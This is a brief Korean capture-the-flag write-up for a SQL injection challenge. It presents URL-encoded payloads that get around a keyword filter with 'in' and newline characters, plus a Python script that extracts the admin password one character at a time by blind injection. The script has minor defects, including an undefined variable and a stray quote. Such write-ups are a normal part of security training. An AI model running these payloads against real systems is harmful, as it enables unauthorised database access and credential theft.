이 문제는 like가 막혀있으므로 in을 이용하여 풀면 된다.


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dlength(pw)%0din%0d(8)


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)
'''
for i in range(8):
    for c in range(33, 125):
        rs = requests.get(url + "?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw," + str(i+1) + "),1)%0din%0d(%22" + chr(c) + "%22)", headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):
            print(str(i+1) + " " +chr(c) + " find it”) 


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